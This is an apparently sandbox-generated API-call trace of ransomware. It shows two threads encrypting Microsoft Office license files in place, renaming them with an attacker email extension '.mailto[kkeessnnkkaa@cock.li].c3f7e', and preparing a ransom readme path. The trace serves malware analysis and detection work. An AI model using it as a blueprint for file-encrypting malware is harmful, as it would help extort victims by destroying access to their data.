	[0085.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x188c
	[0085.826] GetFileSizeEx (in: hFile=0x188c, lpFileSize=0x28c3fdfc | out: lpFileSize=0x28c3fdfc*=11143) returned 1
	[0085.826] SetFilePointerEx (in: hFile=0x188c, liDistanceToMove=0x2b83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.826] ReadFile (in: hFile=0x188c, lpBuffer=0x28c3fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28c3fd7c, lpOverlapped=0x0 | out: lpBuffer=0x28c3fd80*, lpNumberOfBytesRead=0x28c3fd7c*=0x4, lpOverlapped=0x0) returned 1
	[0085.829] SetFilePointerEx (in: hFile=0x188c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.829] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0085.829] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0085.829] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.829] NtQuerySystemTime (in: CurrentTime=0x28c3fd5c | out: CurrentTime=0x28c3fd5c*=132251868125619472) returned 0x0
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x48d83971
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x18aebfef
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xc32ba046
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x50c4bfb7
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x58362438
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xcd4c8aa5
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xfbf6e782
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x92110ed4
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x6dc4769c
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x1cc461e0
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x94e9e106
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x3c189088
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x425657b0
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x7e1b29a8
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xf6c9afeb
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xc4622442
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x83f4ca60
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x5d11e9ca
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xc0f13daf
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x327d02a
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x4246db44
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xd065250c
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xb4d214f8
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x4cda8cc7
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x5e70e331
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xc8b3d4ea
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x805d7aa9
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x7487567e
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0xbae1a8d7
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x6eae9def
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x657a5064
	[0085.829] RtlRandom (in: Seed=0x28c3fd68 | out: Seed=0x28c3fd68) returned 0x519876ac
	[0085.843] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0085.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0085.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0085.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0085.845] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0085.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.846] ReadFile (in: hFile=0x188c, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x2b87, lpNumberOfBytesRead=0x28c3fd58, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28c3fd58*=0x2b87, lpOverlapped=0x0) returned 1
	[0085.852] SetFilePointerEx (in: hFile=0x188c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.852] WriteFile (in: hFile=0x188c, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x2b87, lpNumberOfBytesWritten=0x28c3fd54, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28c3fd54*=0x2b87, lpOverlapped=0x0) returned 1
	[0085.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0085.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0085.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb3d8
	[0085.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb0c0
	[0085.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0085.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11f) returned 0x2d88ff0
	[0085.854] SetFilePointerEx (in: hFile=0x188c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.854] WriteFile (in: hFile=0x188c, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x28c3fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x28c3fdbc*=0x11f, lpOverlapped=0x0) returned 1
	[0085.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0085.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0085.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0085.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0085.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0085.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0085.856] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0085.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768628
	[0085.856] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms"
	[0085.856] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.856] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28c3fd74, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4752ff0
	[0085.856] NtSetInformationFile (FileHandle=0x188c, IoStatusBlock=0x28c3fd6c, FileInformation=0x4752ff0, Length=0xf0, FileInformationClass=0xa) returned 0x0
	[0085.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0085.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.857] NtQueryInformationFile (in: FileHandle=0x188c, IoStatusBlock=0x28c3fd80, FileInformation=0x28c3fd58, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28c3fd80, FileInformation=0x28c3fd58) returned 0x0
	[0085.857] NtSetInformationFile (FileHandle=0x188c, IoStatusBlock=0x28c3fd80, FileInformation=0x28c3fd58, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.858] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0085.858] FlushFileBuffers (hFile=0x188c) returned 1
	[0093.080] CloseHandle (hObject=0x188c) returned 1
	[0093.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476d858
	[0093.080] wcscpy (in: _Dest=0x476d858, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.080] wcscat (in: _Dest=0x476d858, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1164
	os_tid = 0x1ea4

	[0085.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220
	[0085.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1890
	[0085.859] GetFileSizeEx (in: hFile=0x1890, lpFileSize=0x28cbfd7c | out: lpFileSize=0x28cbfd7c*=20901) returned 1
	[0085.859] SetFilePointerEx (in: hFile=0x1890, liDistanceToMove=0x51a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.859] ReadFile (in: hFile=0x1890, lpBuffer=0x28cbfd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28cbfcfc, lpOverlapped=0x0 | out: lpBuffer=0x28cbfd00*, lpNumberOfBytesRead=0x28cbfcfc*=0x4, lpOverlapped=0x0) returned 1
	[0085.860] SetFilePointerEx (in: hFile=0x1890, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0085.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.860] NtQuerySystemTime (in: CurrentTime=0x28cbfcdc | out: CurrentTime=0x28cbfcdc*=132251868125936319) returned 0x0
	[0085.860] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x6b6c2f36
	[0085.860] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xf0880af8
	[0085.860] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x7c51a59e
	[0085.860] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x17ec4cad
	[0085.860] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xd87cd7e2
	[0085.860] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x48a3159f
	[0085.860] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xf24e6dd0
	[0085.860] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x6ef6602b
	[0085.860] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x75069347
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xa60aed74
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x312a0dc1
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xe21cd235
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xb82c6837
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x312e5fcf
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x6803711d
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xc8869df
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xe3d9a65c
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x39e45f53
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xcd3224b5
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x7b41b265
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x1ec55682
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xd9ff7ae3
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x322af994
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xee77f832
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xb7b73184
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x3b4b6c1d
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x80f4c360
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x55eb24ed
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x56c505ca
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0xadd65bb0
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x29f7ddc3
	[0085.861] RtlRandom (in: Seed=0x28cbfce8 | out: Seed=0x28cbfce8) returned 0x20bf2c1
	[0085.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0085.869] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.869] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0085.870] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.870] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.870] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0085.870] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0085.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.870] ReadFile (in: hFile=0x1890, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x51a5, lpNumberOfBytesRead=0x28cbfcd8, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28cbfcd8*=0x51a5, lpOverlapped=0x0) returned 1
	[0085.871] SetFilePointerEx (in: hFile=0x1890, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.871] WriteFile (in: hFile=0x1890, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x51a5, lpNumberOfBytesWritten=0x28cbfcd4, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28cbfcd4*=0x51a5, lpOverlapped=0x0) returned 1
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfb3d8
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfb0c0
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x121) returned 0x2d62e78
	[0085.874] SetFilePointerEx (in: hFile=0x1890, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.874] WriteFile (in: hFile=0x1890, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x28cbfd3c, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x28cbfd3c*=0x121, lpOverlapped=0x0) returned 1
	[0085.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0085.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb0c0) returned 1
	[0085.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0085.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0085.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0085.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0085.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768628
	[0085.875] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms"
	[0085.875] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.875] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28cbfcf4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x477a460
	[0085.875] NtSetInformationFile (FileHandle=0x1890, IoStatusBlock=0x28cbfcec, FileInformation=0x477a460, Length=0xf2, FileInformationClass=0xa) returned 0x0
	[0085.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0085.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.876] NtQueryInformationFile (in: FileHandle=0x1890, IoStatusBlock=0x28cbfd00, FileInformation=0x28cbfcd8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28cbfd00, FileInformation=0x28cbfcd8) returned 0x0
	[0085.876] NtSetInformationFile (FileHandle=0x1890, IoStatusBlock=0x28cbfd00, FileInformation=0x28cbfcd8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0085.877] FlushFileBuffers (hFile=0x1890) returned 1
	[0093.081] CloseHandle (hObject=0x1890) returned 1
	[0093.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476d8e8
	[0093.081] wcscpy (in: _Dest=0x476d8e8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.081] wcscat (in: _Dest=0x476d8e8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
